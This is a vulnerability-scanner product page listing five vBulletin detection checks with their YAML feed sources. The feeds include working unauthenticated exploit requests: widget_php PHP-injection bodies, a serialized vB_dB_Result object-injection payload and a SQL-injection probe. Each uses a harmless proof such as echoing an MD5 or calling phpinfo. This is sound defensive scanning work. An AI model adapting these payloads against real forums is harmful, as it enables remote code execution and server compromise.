vBulletin — 5 vulnerability checks

noctis ships 5 vulnerability checks for vBulletin, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

vBulletin widget_tabbedcontainer template injection code execution

CVECVE-2020-17496
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/vbulletin/CVE-2020-17496.yaml

Posts a widget_php subwidget to /ajax/render/widget_tabbedcontainer_tab_panel whose PHP code prints NOCTIS followed by the MD5 of a random per-run token, and reports only when the response carries that digest, which the scanner computes locally and never sends. A server that merely echoes the request back therefore cannot match.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /ajax/render/widget_tabbedcontainer_tab_panel with a crafted body
  4. Parses / computes the next value with a Rhai script
  5. Checks verdict for NOCTIS_VB17496_CONFIRMED → finding QoD 97: vBulletin widget_php template injection evaluated PHP: echo 'NOCTIS'.md5('<per-run token>') returned the locally computed … (HTTP …)

References:

Feed source — tests/vulnerabilities/vbulletin/CVE-2020-17496.yaml
uid: 2929c47d-a4d0-4b12-bc40-fc91f8257597
name: "CVE-2020-17496 — vBulletin widget_tabbedcontainer template injection code execution (CVSS 9.8)"
description: "Posts a widget_php subwidget to /ajax/render/widget_tabbedcontainer_tab_panel whose PHP code prints NOCTIS followed by the MD5 of a random per-run token, and reports only when the response carries that digest, which the scanner computes locally and never sends. A server that merely echoes the request back therefore cannot match."
cves: [CVE-2020-17496]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [vbulletin, rce, php, template-injection]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-17496"
  - "OpenVAS NASL 2020/vbulletin/gb_vbulletin_rce_vuln_aug20.nasl (GPL-2.0-only)"

# Ported from OpenVAS NASL 2020/vbulletin/gb_vbulletin_rce_vuln_aug20.nasl (GPL-2.0-only, Greenbone Community Feed).
# widget_tabbedcontainer_tab_panel allows unauthenticated PHP exec.
# Proof: the injected PHP prints "NOCTIS" . md5('<per-run token>'); the digest is
# computed by the scanner and never appears in the request, so an echo/debug page,
# honeypot or WAF block page that quotes the request cannot match (#2371).
steps:
  # 1 — a fresh unpredictable token for this run.
  - id: mint-token
    action: script
    store_as: tok
    code: |
      rand_hex(16)

  # 2 — the only string a real PHP evaluation can return: NOCTIS + md5(token).
  - id: compute-expected
    action: script
    store_as: expected
    code: |
      "NOCTIS" + md5(tok)

  # Pre-init the result so the verdict never reads an undefined variable when
  # the request fails (port closed, TLS error).
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  # 3 — echo 'NOCTIS'.md5('<tok>'); exit;  (body is not normalised by reqwest)
  - id: probe
    action: http_request
    method: POST
    path: "/ajax/render/widget_tabbedcontainer_tab_panel"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20%27NOCTIS%27.md5%28%27{{tok}}%27%29%3B%20exit%3B"
    store_as: resp

  # 4 — did this run's computed digest come back with HTTP 200?
  - id: verdict
    action: script
    store_as: verdict
    code: |
      if resp.status == 200 && stridx(resp.body, expected) >= 0 {
        "NOCTIS_VB17496_CONFIRMED"
      } else {
        "none"
      }

  - id: detect
    action: match
    source: verdict
    pattern: "NOCTIS_VB17496_CONFIRMED"
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "vBulletin widget_php template injection evaluated PHP: echo 'NOCTIS'.md5('<per-run token>') returned the locally computed {{expected}} (HTTP {{resp.status}})"
      stop: true

vBulletin 3.6.x - 4.2.3 Forumrunner request.php SQL injection

CVECVE-2016-6195
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/vbulletin/CVE-2016-6195.yaml

Sends a quote in the postids parameter of /forumrunner/request.php and reports when vBulletin answers with its database error page.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /forumrunner/request.php?cmd=get_spam_data&d=1&postids='1 HTTP/1.0
  2. Checks resp.banner for (database has encountered a problem|image\.php\?type=dberror) → finding QoD 75: vBulletin Forumrunner request.php postids returned the database error page: …

References:

Feed source — tests/vulnerabilities/vbulletin/CVE-2016-6195.yaml
uid: 17b30d26-91cf-4fbf-aefe-c5e5eb49d13d
name: "vBulletin 3.6.x - 4.2.3 Forumrunner request.php SQL injection (CVE-2016-6195)"
description: "Sends a quote in the postids parameter of /forumrunner/request.php and reports when vBulletin answers with its database error page."
cves: [CVE-2016-6195]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, vbulletin-forumrunner]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-6195"
  - "OpenVAS NASL 2016/sw_vbulletin_forumrunner_sqli.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2016/sw_vbulletin_forumrunner_sqli.nasl (GPL-2.0-only).
steps:
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /forumrunner/request.php?cmd=get_spam_data&d=1&postids='1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "(database has encountered a problem|image\\.php\\?type=dberror)"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "vBulletin Forumrunner request.php postids returned the database error page: {{resp.banner}}"
      stop: true

vBulletin widget_php unauthenticated RCE

CVECVE-2019-16759
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 97
Feedtests/vulnerabilities/vbulletin/CVE-2019-16759.yaml

vBulletin 5.0.0–5.5.4 evaluates attacker-supplied PHP through the unauthenticated /ajax/render/widget_tabbedcontainer_tab_panel widget renderer (widget_php template), yielding remote command execution. Detection sends a per-run echo md5('<token>') payload and confirms the reflected digest matches the locally computed md5.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /ajax/render/widget_tabbedcontainer_tab_panel with a crafted body
  4. Parses / computes the next value with a Rhai script
  5. Checks verdict for NOCTIS_VBRCE_CONFIRMED → finding QoD 97: vBulletin widget_php evaluated PHP: per-run echo md5('<token>') returned the locally computed digest … (HTTP …)

References:

Feed source — tests/vulnerabilities/vbulletin/CVE-2019-16759.yaml
# vBulletin 5.0.0–5.5.4 unauthenticated Remote Command Execution (CVE-2019-16759).
#
# The pre-auth AJAX endpoint /ajax/render/widget_tabbedcontainer_tab_panel renders
# a caller-chosen widget. Supplying `widget_php` with a `code` parameter makes the
# server evaluate arbitrary PHP, reflecting its output in the response body.
#
# Detection (confirmed execution, QoD 97) — NOT exploitation:
#   We never run shell commands or write anything. We mint a fresh random token
#   each run (tok = rand_hex(16)) and precompute expected = md5(tok) locally, then
#   ask the target to `echo md5('<tok>');`. Only a server that actually evaluates
#   the PHP can return md5(tok) for this run's unpredictable token:
#     * a patched server rejects/ignores the widget           → no match
#     * a server echoing a hardcoded/constant hash             → wrong value
#     * a server reflecting the `code` string verbatim         → reflects source, not md5
#   so a body containing this run's expected md5 (with HTTP 200) confirms real PHP eval.
#
# Affected: vBulletin 5.0.0–5.5.4 (patched by the 5.5.2/5.5.3/5.5.4 Patch Level 1 releases).
uid: f6e0670c-5776-455e-9034-eba652edf5e9
name: "vBulletin widget_php unauthenticated RCE (CVE-2019-16759)"
description: |
  vBulletin 5.0.0–5.5.4 evaluates attacker-supplied PHP through the unauthenticated
  /ajax/render/widget_tabbedcontainer_tab_panel widget renderer (widget_php template),
  yielding remote command execution. Detection sends a per-run echo md5('<token>')
  payload and confirms the reflected digest matches the locally computed md5.
cves: [CVE-2019-16759]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [vbulletin, rce, php, widget, kev, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-16759"
  - "https://github.com/jas502n/CVE-2019-16759"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16759.yaml"

steps:
  # 1 — mint a fresh unpredictable token for this run.
  - id: mint-token
    action: script
    store_as: tok
    code: |
      rand_hex(16)

  # 2 — compute the digest we expect only a genuinely vulnerable server to return.
  - id: compute-expected
    action: script
    store_as: expected
    code: |
      md5(tok)

  # 3 — send the PHP payload: echo md5('<tok>');  (url-encoded; reqwest does not
  #     normalise request bodies, so the encoded parens/quotes survive).
  - id: probe
    action: http_request
    method: POST
    path: "/ajax/render/widget_tabbedcontainer_tab_panel"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%27{{tok}}%27%29%3B%20exit%3B"
    store_as: resp

  # 4 — verdict: did this run's expected digest come back with HTTP 200?
  - id: verdict
    action: script
    store_as: verdict
    code: |
      if resp.status == 200 && stridx(resp.body, expected) >= 0 {
        "NOCTIS_VBRCE_CONFIRMED"
      } else {
        "none"
      }

  # 5 — confirmed PHP evaluation → finding.
  - id: detect
    action: match
    source: verdict
    pattern: "NOCTIS_VBRCE_CONFIRMED"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "vBulletin widget_php evaluated PHP: per-run echo md5('<token>') returned the locally computed digest {{expected}} (HTTP {{resp.status}})"
      stop: true

vBulletin 4.1.x / 5.x install/upgrade.php left reachable (administrator account creation)

CVECVE-2013-6129
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 70
Feedtests/vulnerabilities/vbulletin/CVE-2013-6129.yaml

Requests install/upgrade.php (and core/install/upgrade.php for vBulletin 5) and reports when vBulletin answers with its upgrade form asking for a customer number. That script accepts a customer id plus the new administrator's email and password without any login, so a reachable copy lets anyone create an administrator account. The check only reads the form; it never submits it.

How noctis detects it

  1. HTTP(S) request GET /install/upgrade.php
  2. Checks inst.body for Customer Number< → finding QoD 70: vBulletin install/upgrade.php is reachable and asks for a customer number (HTTP …)
  3. HTTP(S) request GET /core/install/upgrade.php
  4. Checks core.body for Customer Number< → finding QoD 70: vBulletin core/install/upgrade.php is reachable and asks for a customer number (HTTP …)

References:

Feed source — tests/vulnerabilities/vbulletin/CVE-2013-6129.yaml
uid: 69bcb4dd-a8f2-476e-b603-f2c484dc2f4f
name: "vBulletin 4.1.x / 5.x install/upgrade.php left reachable (administrator account creation)"
description: "Requests install/upgrade.php (and core/install/upgrade.php for vBulletin 5) and reports when vBulletin answers with its upgrade form asking for a customer number. That script accepts a customer id plus the new administrator's email and password without any login, so a reachable copy lets anyone create an administrator account. The check only reads the form; it never submits it."
cves: [CVE-2013-6129]
cvss: 7.5 # NVD scores this CVE in CVSS v2 only (AV:N/AC:L/Au:N/C:P/I:P/A:P)
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [openvas-migrated, http, vbulletin, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-6129"
  - "OpenVAS NASL 2013/gb_vbulletin_auth_bypass_vuln.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2013/gb_vbulletin_auth_bypass_vuln.nasl (GPL-2.0-only).
# Creating the administrator account is a persistent write on the target, so the check stays
# at QoD 70: the exposed upgrade form is the precondition of the exploit (the only fix is to
# remove the install directory), and nothing is submitted. Improvement over the NASL: the
# vendor marker is matched on a 200 reply only and the 5.x /core path is probed independently
# of an installed-location lookup, so no prior vBulletin detection is needed.
steps:
  - id: probe-install
    action: http_request
    method: GET
    path: "/install/upgrade.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: inst

  - id: detect-install
    action: match
    source: inst.body
    pattern: "Customer Number<"
    condition: "inst.status == 200 && stridx(inst.body, \"vBulletin\") >= 0"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "vBulletin install/upgrade.php is reachable and asks for a customer number (HTTP {{inst.status}})"
      stop: true

  - id: probe-core
    action: http_request
    method: GET
    path: "/core/install/upgrade.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: core

  - id: detect-core
    action: match
    source: core.body
    pattern: "Customer Number<"
    condition: "core.status == 200 && stridx(core.body, \"vBulletin\") >= 0"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "vBulletin core/install/upgrade.php is reachable and asks for a customer number (HTTP {{core.status}})"
      stop: true

vBulletin decodeArguments unauthenticated PHP object injection RCE

CVECVE-2015-7808
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/vbulletin/CVE-2015-7808.yaml

vBulletin 5.1.4–5.1.9 unserializes the `arguments` parameter of the unauthenticated /ajax/api/hook/decodeArguments route, which lets a crafted vB_dB_Result object call an arbitrary PHP function and gives remote code execution. Detection injects an object that makes the destructor call phpinfo(1) and confirms the response contains the phpinfo() page title, which only appears when the injected object was processed. Nothing is written to the target.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3…
  2. Checks r1.banner for <title>phpinfo\(\)</title> → finding QoD 97: decodeArguments unserialized an injected vB_dB_Result (vB_Database_MySQLi) and called phpinfo(): page title <title>phpinfo()</title> return…
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3…
  4. Checks r2.banner for <title>phpinfo\(\)</title> → finding QoD 97: decodeArguments unserialized an injected vB_dB_Result (vB_Database) and called phpinfo(): page title <title>phpinfo()</title> returned

References:

Feed source — tests/vulnerabilities/vbulletin/CVE-2015-7808.yaml
# vBulletin 5.1.4–5.1.9 unauthenticated PHP object injection / RCE (CVE-2015-7808).
#
# The pre-auth route /ajax/api/hook/decodeArguments unserialize()s the `arguments`
# parameter. A serialized vB_dB_Result whose database object maps `free_result` to a
# PHP function name makes the destructor call that function (with the recordset
# value as its argument), i.e. a caller-chosen single-argument PHP function call.
#
# Detection (confirmed execution, QoD 97) — not a destructive exploit:
#   We make the destructor call phpinfo(1) (INFO_GENERAL, read-only, nothing is
#   written or executed on a shell). Its HTML output contains
#   <title>phpinfo()</title>, which is never present in the page otherwise, so seeing
#   it proves the injected object was unserialized and the function was invoked.
#   Two database class names are tried (vB_Database_MySQLi, vB_Database).
#
# The payload carries %00 bytes, so the request is sent verbatim with tcp_connect
# (reqwest would normalise the URL).
uid: 26d70e1e-7f25-412f-8a98-3b3a17868a2b
name: "vBulletin decodeArguments unauthenticated PHP object injection RCE (CVE-2015-7808)"
description: |
  vBulletin 5.1.4–5.1.9 unserializes the `arguments` parameter of the
  unauthenticated /ajax/api/hook/decodeArguments route, which lets a crafted
  vB_dB_Result object call an arbitrary PHP function and gives remote code
  execution. Detection injects an object that makes the destructor call phpinfo(1)
  and confirms the response contains the phpinfo() page title, which only appears
  when the injected object was processed. Nothing is written to the target.
cves: [CVE-2015-7808]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.25
tags: [vbulletin, rce, php, object-injection, unserialize, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-7808"
  - "https://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/4332360-security-patch-vbulletin-5-1-4-through-5-1-9"

steps:
  - id: probe-mysqli
    action: tcp_connect
    port: "{{port}}"
    send: "GET /ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A18%3A%22vB_Database_MySQLi%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: r1

  - id: detect-mysqli
    action: match
    source: r1.banner
    pattern: "<title>phpinfo\\(\\)</title>"
    condition: "r1.connected"
    on_match:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "decodeArguments unserialized an injected vB_dB_Result (vB_Database_MySQLi) and called phpinfo(): page title <title>phpinfo()</title> returned"
      stop: true

  - id: probe-generic
    action: tcp_connect
    port: "{{port}}"
    send: "GET /ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    store_as: r2

  - id: detect-generic
    action: match
    source: r2.banner
    pattern: "<title>phpinfo\\(\\)</title>"
    condition: "r2.connected"
    on_match:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "decodeArguments unserialized an injected vB_dB_Result (vB_Database) and called phpinfo(): page title <title>phpinfo()</title> returned"
      stop: true

View these feeds on GitHub